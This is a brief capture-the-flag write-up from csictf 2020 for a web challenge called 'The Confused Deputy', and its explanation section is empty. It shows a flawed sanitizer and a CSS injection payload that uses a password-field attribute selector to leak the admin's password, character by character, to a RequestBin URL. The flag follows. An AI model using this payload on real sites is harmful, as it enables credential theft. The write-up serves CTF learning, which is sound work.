csictf 2020

CTF Writeup - https://ctftime.org/event/1081

Home csictf 2020 Writeups Home
22 July 2020

The Confused Deputy

by shreyas-sriram

Wow that’s a pretty color! Don’t you think? Pick your favourite and show it to the admin on /admin.

http://chall.csivit.com:30256

Solution

<style> .show {background-image: none; background-color: ${sanitized(input)}}</style>

function sanitized(content) {
        content = content.replace('<', '').replace('>', '');
        return content;
    }
<><malicious-payload>

Payload

#000000;} input[type="password"][value^="<value-x>"] {background-image: url('https://<RequestBinURL>/<value-x>');

Payload Explanation

Flag

csictf{cssxss}
tags: Web